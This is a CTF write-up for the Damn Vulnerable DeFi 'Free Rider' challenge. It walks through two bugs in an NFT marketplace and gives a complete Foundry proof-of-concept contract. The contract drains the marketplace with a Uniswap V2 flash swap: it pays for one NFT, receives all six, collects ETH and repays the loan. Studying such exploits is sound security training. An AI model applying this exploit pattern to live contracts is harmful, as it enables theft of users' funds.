ctfwriteup
  • βœ…/home/ret2basic.eth
  • Game Hacking
    • πŸ‘‘Pwn Adventure 3: Pwnie Island
      • βœ…Prep: Speed Hack
      • βœ…Prep: Infinite Health and Mana (Offline)
      • βœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • βœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • βœ…Step 1: Setup
      • βœ…Step 2: Scan for "Exact Value"
      • βœ…Step 3: Scan for "Unknown initial value"
      • βœ…Step 4: Scan for float and double
      • βœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • πŸ‘‘Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • πŸ‘‘Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • βœ…Unstoppable
      • βœ…Naive Receiver
      • βœ…Truster
      • βœ…Side Entrance
      • βœ…The Rewarder
      • βœ…Selfie
      • βœ…Compromised
      • βœ…Puppet
      • βœ…Puppet V2
      • βœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • βœ…Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • βœ…Meta Staking
      • βœ…Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • βœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • βœ…Crystal DAO
      • βœ…Liquidatoooor
    • βœ…Ethernaut
      • βœ…Hello Ethernaut
      • βœ…Fallback
      • βœ…Fallout
      • βœ…Coin Flip
      • βœ…Telephone
      • βœ…Token
      • βœ…Delegation
      • βœ…Force
      • βœ…Vault
      • βœ…King
      • βœ…Re-entrancy
      • βœ…Elevator
      • βœ…Privacy
      • βœ…Gatekeeper One
      • βœ…Gatekeeper Two
      • βœ…Naught Coin
      • βœ…Preservation
      • βœ…Recovery
      • βœ…MagicNumber
      • βœ…Alien Codex
      • βœ…Denial
      • βœ…Shop
      • βœ…DEX
      • βœ…DEX Two
      • βœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • βœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • βœ…Flashbots MEV-Share CTF
    • βœ…Capture the Ether
      • βœ…Lotteries
      • βœ…Math
      • βœ…Miscellaneous
    • βœ…EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…More EVM Puzzles
      • βœ…Puzzle 1
      • βœ…Puzzle 2
      • βœ…Puzzle 3
      • βœ…Puzzle 4
      • βœ…Puzzle 5
      • βœ…Puzzle 6
      • βœ…Puzzle 7
      • βœ…Puzzle 8
      • βœ…Puzzle 9
      • βœ…Puzzle 10
    • βœ…QuillCTF
      • βœ…MetaToken
      • βœ…Temporary Variable
      • KeyCraft
      • βœ…Lottery
      • βœ…Private Club
      • Voting Machine
      • βœ…Predictable NFT
      • βœ…Invest Pool
      • PseudoRandom
      • βœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • βœ…Donate
      • βœ…WETH-11
      • Panda Token
      • Gate
      • βœ…WETH10
      • βœ…Pelusa
      • βœ…True XOR
      • βœ…Collatz Puzzle
      • βœ…D31eg4t3
      • βœ…Safe NFT
      • βœ…VIP Bank
      • βœ…Confidential Hash
      • βœ…Road Closed
    • βœ…unhacked
      • βœ…reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • βœ…01 - ReturnBool
      • βœ…02 - SimpleRevert
      • βœ…03 - Return42
      • βœ…04 - RevertWithError
      • βœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • βœ…Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • 🚩embryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • 🚩babysuid
      • Assembly Refresher
        • x86 Assembly
        • 🚩embryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • 🚩babyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • 🚩babyjail
      • Debugging Refresher
        • x86 Assembly
        • 🚩embryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • 🚩babyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • 🚩babymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • 🚩toddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • 🚩babyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • 🚩babyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • 🚩babyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • 🚩babykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • βœ…Jarvis OJ Pwn Xman Series
    • βœ…Jarvis OJ Crypto RSA Series
    • βœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • βœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • βœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • βœ…Linux
        • βœ…Safe (Easy)
        • βœ…Delivery (Easy)
        • βœ…TheNotebook (Medium)
        • βœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • βœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • βœ…TCM Linux Privilege Escalation Course
      • βœ…TryHackMe - Simple CTF (Easy)
      • βœ…TryHackMe - Vulnversity (Easy)
      • βœ…TryHackMe - CMesS (Medium)
      • βœ…TryHackMe - UltraTech (Medium)
      • βœ…TryHackMe - LazyAdmin (Easy)
      • βœ…TryHackMe - Anonymous (Medium)
      • βœ…TryHackMe - tomghost (Easy)
      • βœ…TryHackMe - ConvertMyVideo (Medium)
      • βœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Description
  • TL;DR
  • Code Audit
  • Building PoC
  1. Web3 CTF
  2. Damn Vulnerable DeFi

Free Rider

PreviousPuppet V2NextBackdoor

Last updated 1 year ago

Description

A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.

The developers behind it have been notified the marketplace is vulnerable. All tokens can be taken. Yet they have absolutely no idea how to do it. So they’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way.

You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.

If only you could get free ETH, at least for an instant.

TL;DR

buyMany() is a payable function and it calls _buyOne() in a for loop, which means we can pay 1 unit of money and get multiple units of NTFs. Another bug is token.ownerOf(tokenId)) is set to the buyer after token.transferFrom(), so the payment is sent to the buyer instead of the seller. In other words, we get paid by buying NFT, pretty nice deal isn't it

Code Audit

In the Foundry setup we can see there exists a Uniswap V2 DVT/WETH pool:

        assertEq(uniswapV2Pair.token0(), address(dvt));
        assertEq(uniswapV2Pair.token1(), address(weth));
        assertGt(uniswapV2Pair.balanceOf(deployer), 0);

token0 and token1 may map to DVT/WETH or WETH/DVT depending on the DVD version you are working with, so be aware of this.

Looking at FreeRiderNFTMarketplace.sol, an obvious bug pops up:

    function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
        for (uint256 i = 0; i < tokenIds.length; i++) {
            _buyOne(tokenIds[i]);
        }
    }
    function _buyOne(uint256 tokenId) private {
        uint256 priceToPay = offers[tokenId];
        require(priceToPay > 0, "Token is not being offered");

        require(msg.value >= priceToPay, "Amount paid is not enough");

        amountOfOffers--;

        // transfer from seller to buyer
        token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

        // pay seller
        payable(token.ownerOf(tokenId)).sendValue(priceToPay);

        emit NFTBought(msg.sender, tokenId, priceToPay);
    }

_buyOne() handles price based msg.value and it is called in a loop, this is clearly a bug where attacker can pay 1 unit of money and get multiple uints of NFTs.

Another less obvious bug is that token.ownerOf(tokenId) is set to the buyer after the token.safeTransferFrom() call, therefore payable(token.ownerOf(tokenId)).sendValue(priceToPay) actually sends ETH to the buyer instead of the seller.

Combining the above two observations, we can come up with an attack:

  1. Flash swap 15 WETH from Uniswap V2 DVT/WETH pool and convert it to 15 ETH.

  2. Call buyMany() and buy all 6 NFTs. For each iteration, we "get paid" 15 ETH. In the end, we will have 90 ETH (15 * 6 - 15).

  3. Send all 6 NFTs to FreeRiderBuyer.

  4. Swap 15 ETH to 15 WETH in order to payback the flash swap.

Note that all the operations mentioned above should happen inside the flash swap callback uniswapV2Call(). Also don't forget to implement ERC721 callback onERC721Received() since the NFT marketplace sends NFTs via safeTransferFrom().

Building PoC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import "forge-std/Test.sol";

import {FreeRiderBuyer} from "../../../src/Contracts/free-rider/FreeRiderBuyer.sol";
import {FreeRiderNFTMarketplace} from "../../../src/Contracts/free-rider/FreeRiderNFTMarketplace.sol";
import {IUniswapV2Router02, IUniswapV2Factory, IUniswapV2Pair} from "../../../src/Contracts/free-rider/Interfaces.sol";
import {DamnValuableNFT} from "../../../src/Contracts/DamnValuableNFT.sol";
import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {WETH9} from "../../../src/Contracts/WETH9.sol";
import {IERC721Receiver} from "openzeppelin-contracts/token/ERC721/IERC721Receiver.sol";
import {ReentrancyGuard} from "openzeppelin-contracts/security/ReentrancyGuard.sol";
import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";

contract FreeRider is Test {
    // The NFT marketplace will have 6 tokens, at 15 ETH each
    uint256 internal constant NFT_PRICE = 15 ether;
    uint8 internal constant AMOUNT_OF_NFTS = 6;
    uint256 internal constant MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether;

    // The buyer will offer 45 ETH as payout for the job
    uint256 internal constant BUYER_PAYOUT = 45 ether;

    // Initial reserves for the Uniswap v2 pool
    uint256 internal constant UNISWAP_INITIAL_TOKEN_RESERVE = 15_000e18;
    uint256 internal constant UNISWAP_INITIAL_WETH_RESERVE = 9000 ether;
    uint256 internal constant DEADLINE = 10_000_000;

    AttackContract internal attackContract;
    FreeRiderBuyer internal freeRiderBuyer;
    FreeRiderNFTMarketplace internal freeRiderNFTMarketplace;
    DamnValuableToken internal dvt;
    DamnValuableNFT internal damnValuableNFT;
    IUniswapV2Pair internal uniswapV2Pair;
    IUniswapV2Factory internal uniswapV2Factory;
    IUniswapV2Router02 internal uniswapV2Router;
    WETH9 internal weth;
    address payable internal buyer;
    address payable internal attacker;
    address payable internal deployer;

    function setUp() public {
        /**
         * SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE
         */
        buyer = payable(address(uint160(uint256(keccak256(abi.encodePacked("buyer"))))));
        vm.label(buyer, "buyer");
        vm.deal(buyer, BUYER_PAYOUT);

        deployer = payable(address(uint160(uint256(keccak256(abi.encodePacked("deployer"))))));
        vm.label(deployer, "deployer");
        vm.deal(deployer, UNISWAP_INITIAL_WETH_RESERVE + MARKETPLACE_INITIAL_ETH_BALANCE);

        // Attacker starts with little ETH balance
        attacker = payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker"))))));
        vm.label(attacker, "Attacker");
        vm.deal(attacker, 0.5 ether);

        // Deploy WETH contract
        weth = new WETH9();
        vm.label(address(weth), "WETH");

        // Deploy token to be traded against WETH in Uniswap v2
        vm.startPrank(deployer);
        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        // Deploy Uniswap Factory and Router
        uniswapV2Factory =
            IUniswapV2Factory(deployCode("./src/build-uniswap/v2/UniswapV2Factory.json", abi.encode(address(0))));

        uniswapV2Router = IUniswapV2Router02(
            deployCode(
                "./src/build-uniswap/v2/UniswapV2Router02.json", abi.encode(address(uniswapV2Factory), address(weth))
            )
        );

        // Approve tokens, and then create Uniswap v2 pair against WETH and add liquidity
        // Note that the function takes care of deploying the pair automatically
        dvt.approve(address(uniswapV2Router), UNISWAP_INITIAL_TOKEN_RESERVE);
        uniswapV2Router.addLiquidityETH{value: UNISWAP_INITIAL_WETH_RESERVE}(
            address(dvt), // token to be traded against WETH
            UNISWAP_INITIAL_TOKEN_RESERVE, // amountTokenDesired
            0, // amountTokenMin
            0, // amountETHMin
            deployer, // to
            DEADLINE // deadline
        );

        // Get a reference to the created Uniswap pair
        uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.getPair(address(dvt), address(weth)));

        assertEq(uniswapV2Pair.token0(), address(dvt));
        assertEq(uniswapV2Pair.token1(), address(weth));
        assertGt(uniswapV2Pair.balanceOf(deployer), 0);

        freeRiderNFTMarketplace = new FreeRiderNFTMarketplace{
            value: MARKETPLACE_INITIAL_ETH_BALANCE
        }(AMOUNT_OF_NFTS);

        damnValuableNFT = DamnValuableNFT(freeRiderNFTMarketplace.token());

        for (uint8 id = 0; id < AMOUNT_OF_NFTS; id++) {
            assertEq(damnValuableNFT.ownerOf(id), deployer);
        }

        damnValuableNFT.setApprovalForAll(address(freeRiderNFTMarketplace), true);

        uint256[] memory NFTsForSell = new uint256[](6);
        uint256[] memory NFTsPrices = new uint256[](6);
        for (uint8 i = 0; i < AMOUNT_OF_NFTS;) {
            NFTsForSell[i] = i;
            NFTsPrices[i] = NFT_PRICE;
            unchecked {
                ++i;
            }
        }

        freeRiderNFTMarketplace.offerMany(NFTsForSell, NFTsPrices);

        assertEq(freeRiderNFTMarketplace.amountOfOffers(), AMOUNT_OF_NFTS);
        vm.stopPrank();

        vm.startPrank(buyer);

        freeRiderBuyer = new FreeRiderBuyer{value: BUYER_PAYOUT}(
            attacker,
            address(damnValuableNFT)
        );

        vm.stopPrank();

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker, attacker);
        attackContract = new AttackContract(
            freeRiderNFTMarketplace,
            uniswapV2Pair,
            weth,
            freeRiderBuyer,
            damnValuableNFT
        );
        attackContract.flashSwap();
        console.log("attacker's ETH balance: ", attacker.balance / 10 ** 18);

        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\nπŸŽ‰ Congratulations, you can go to the next level! πŸŽ‰");
    }

    function validation() internal {
        /**
         * SUCCESS CONDITIONS
         */

        // Attacker must have earned all ETH from the payout
        assertGt(attacker.balance, BUYER_PAYOUT);
        assertEq(address(freeRiderBuyer).balance, 0);

        // The buyer extracts all NFTs from its associated contract
        vm.startPrank(buyer);
        for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
            damnValuableNFT.transferFrom(address(freeRiderBuyer), buyer, tokenId);
            assertEq(damnValuableNFT.ownerOf(tokenId), buyer);
        }
        vm.stopPrank();

        // Exchange must have lost NFTs and ETH
        assertEq(freeRiderNFTMarketplace.amountOfOffers(), 0);
        assertLt(address(freeRiderNFTMarketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE);
    }
}

contract AttackContract {
    FreeRiderNFTMarketplace public freeRiderNFTMarketplace;
    IUniswapV2Pair public uniswapV2Pair;
    FreeRiderBuyer public freeRiderBuyer;
    DamnValuableNFT public damnValuableNFT;
    WETH9 public weth;
    uint256[] public tokenIds;

    constructor(
        FreeRiderNFTMarketplace _freeRiderNFTMarketplace,
        IUniswapV2Pair _uniswapV2Pair,
        WETH9 _weth,
        FreeRiderBuyer _freeRiderBuyer,
        DamnValuableNFT _damnValuableNFT
        ) {
        freeRiderNFTMarketplace = _freeRiderNFTMarketplace;
        uniswapV2Pair = _uniswapV2Pair;
        weth = _weth;
        freeRiderBuyer = _freeRiderBuyer;
        damnValuableNFT = _damnValuableNFT;
    }

    function flashSwap() external {
        // This is a Uniswap V2 DVD/WETH pool
        // Flash swap for 15 WETH
        uniswapV2Pair.swap(0, 15 ether, address(this), bytes("1337"));
    }

    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
        console.log("Flash swap received! Current WETH balance of attackContract: ", weth.balanceOf(address(this)) / 10**18, "WETH");
        console.log("Swapping 15 WETH to 15 ETH.");
        weth.withdraw(15 ether);

        // Pay 15 ether, receive 6 NFT and get paid 90 ether
        for (uint256 i; i < 6; i++) {
            tokenIds.push(i);
        }
        freeRiderNFTMarketplace.buyMany{value: 15 ether}(tokenIds);
        console.log("ETH balance of attackContract after buyMany(): ", address(this).balance / 10**18, "ETH");
        
        // Send all NFTs to the buyer and get the payout
        for (uint256 i; i < 6; i++) {
            console.log("Sending NFT to the buyer: ", i);
            damnValuableNFT.safeTransferFrom(address(this), address(freeRiderBuyer), i, "");
        }
        console.log("ETH balance of attackContract in the end: ", address(this).balance / 10**18, "ETH");

        // Repay flash swap
        console.log("Swapping 16 ETH to 16 WETH in order to payback flash swap.");
        console.log("Repaying flash swap.");
        weth.deposit{value: 16 ether}();
        weth.transfer(address(uniswapV2Pair), 16 ether);
        console.log("Flash swap successfully repaid.");
    }

    function onERC721Received(address, address, uint256 _tokenId, bytes memory) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive() external payable {
        console.log("ETH received! Current ETH balance of attackContract: ", address(this).balance / 10**18, "ETH");
    }
}
βœ…
😎